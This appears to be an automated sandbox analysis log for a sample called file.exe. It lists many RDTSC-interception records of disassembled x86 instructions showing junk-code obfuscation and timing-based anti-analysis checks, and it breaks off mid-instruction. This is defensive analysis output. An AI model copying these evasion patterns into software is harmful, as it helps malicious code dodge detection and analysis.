Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E46C second address: F0E4B3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5028523948h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F5028523948h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 jne 00007F502852394Ch 0x0000002f push C0CECA81h 0x00000034 push eax 0x00000035 push edx 0x00000036 jc 00007F5028523948h 0x0000003c push ecx 0x0000003d pop ecx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E4B3 second address: F0E534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F5029365E06h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 3F3135FFh 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F5029365E08h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov cx, 992Ch 0x00000031 pushad 0x00000032 mov ecx, dword ptr [ebp+122D379Eh] 0x00000038 mov bl, 72h 0x0000003a popad 0x0000003b push 00000003h 0x0000003d mov dx, F3DAh 0x00000041 push 00000000h 0x00000043 mov cx, bx 0x00000046 push 00000003h 0x00000048 mov dword ptr [ebp+122D24EFh], ecx 0x0000004e push 45C08260h 0x00000053 jmp 00007F5029365E0Ch 0x00000058 add dword ptr [esp], 7A3F7DA0h 0x0000005f cld 0x00000060 sub edx, dword ptr [ebp+122D2983h] 0x00000066 lea ebx, dword ptr [ebp+1244FF98h] 0x0000006c add edx, dword ptr [ebp+122D29C3h] 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 push esi 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E534 second address: F0E539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E539 second address: F0E53E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EAF4 second address: F2EAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EAFA second address: F2EB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EB01 second address: F2EB09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EB09 second address: F2EB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EB0D second address: F2EB35 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5028523946h 0x00000008 jmp 00007F5028523950h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 pop edx 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CBC0 second address: F2CBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E18h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CBDD second address: F2CBE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5028523946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CBE7 second address: F2CC00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E15h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CF19 second address: F2CF20 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CF20 second address: F2CF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007F5029365E24h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d js 00007F5029365E44h 0x00000013 js 00007F5029365E1Ah 0x00000019 jmp 00007F5029365E0Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CF67 second address: F2CF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F5028523958h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D3C3 second address: F2D3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 je 00007F5029365E06h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D536 second address: F2D543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D543 second address: F2D554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5029365E0Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DAF4 second address: F2DAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DAF8 second address: F2DB0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F5029365E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F5029365E06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DB0E second address: F2DB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DB12 second address: F2DB16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23807 second address: F23840 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523950h 0x00000007 jnp 00007F5028523946h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F5028523954h 0x00000017 jnl 00007F5028523946h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23840 second address: F23845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23845 second address: F23859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F502852394Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23859 second address: F23866 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23866 second address: F2386C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2386C second address: F23890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5029365E06h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F5029365E12h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23890 second address: F23895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23895 second address: F238AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E14h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F238AF second address: F238B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E241 second address: F2E248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E552 second address: F2E558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3303C second address: F33041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31D01 second address: F31D16 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jnp 00007F5028523946h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF8A9D second address: EF8AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38D43 second address: F38D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F5028523952h 0x0000000d pop eax 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 jg 00007F5028523952h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38D77 second address: F38D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F380D0 second address: F380D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38581 second address: F38585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38585 second address: F3858B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3858B second address: F38595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3885A second address: F3886B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F502852394Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3886B second address: F3886F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3886F second address: F38875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38875 second address: F3887F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3887F second address: F38883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38B60 second address: F38B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E0Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38B73 second address: F38B79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38B79 second address: F38B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38B7F second address: F38B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F502852394Ch 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38B92 second address: F38B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFDBA1 second address: EFDBB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F502852394Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F5028523948h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C0CB second address: F3C0D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C3B1 second address: F3C3B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C3B6 second address: F3C3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CA37 second address: F3CA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CAB9 second address: F3CAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push ebx 0x00000009 jmp 00007F5029365E11h 0x0000000e pop ebx 0x0000000f pop ecx 0x00000010 xchg eax, ebx 0x00000011 and edi, dword ptr [ebp+122D29C3h] 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CAE4 second address: F3CAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D046 second address: F3D054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D054 second address: F3D059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D059 second address: F3D0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E15h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F5029365E08h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D29F7h] 0x0000002d mov si, di 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jne 00007F5029365E15h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D0BC second address: F3D0C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D0C2 second address: F3D0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D0C6 second address: F3D0CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D59C second address: F3D5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D5A0 second address: F3D5AA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D5AA second address: F3D60B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F5029365E08h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+122D2E8Ah], esi 0x00000030 xchg eax, ebx 0x00000031 jnc 00007F5029365E19h 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F0F4 second address: F3F12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F502852394Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+122D1AE0h], edx 0x00000016 movzx esi, di 0x00000019 push 00000000h 0x0000001b mov edi, dword ptr [ebp+122D293Fh] 0x00000021 push 00000000h 0x00000023 mov esi, dword ptr [ebp+122D230Eh] 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jne 00007F5028523946h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F12F second address: F3F133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F133 second address: F3F139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F139 second address: F3F14A instructions: 0x00000000 rdtsc 0x00000002 js 00007F5029365E08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4110D second address: F4111F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F5028523946h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41CAE second address: F41CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41CB2 second address: F41D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F5028523948h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jmp 00007F5028523952h 0x00000027 xor edi, 6F31BF0Ah 0x0000002d push 00000000h 0x0000002f mov si, cx 0x00000032 push 00000000h 0x00000034 movsx esi, dx 0x00000037 xchg eax, ebx 0x00000038 js 00007F5028523950h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43208 second address: F4328A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F5029365E08h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D1EEDh], esi 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F5029365E08h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007F5029365E08h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 00000018h 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D24EFh], ebx 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4328A second address: F43291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44C9A second address: F44C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44C9E second address: F44CA8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F468DD second address: F468E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F9F0 second address: F3FA05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5028523951h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42456 second address: F4245A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4AA9F second address: F4AAA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4245A second address: F42467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4AAA5 second address: F4AAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4AAA9 second address: F4AAAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4AAAD second address: F4AB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop ebx 0x00000012 popad 0x00000013 nop 0x00000014 mov edi, 0C7821CFh 0x00000019 push 00000000h 0x0000001b jno 00007F5028523963h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F5028523948h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d pushad 0x0000003e pushad 0x0000003f mov ah, 75h 0x00000041 mov dword 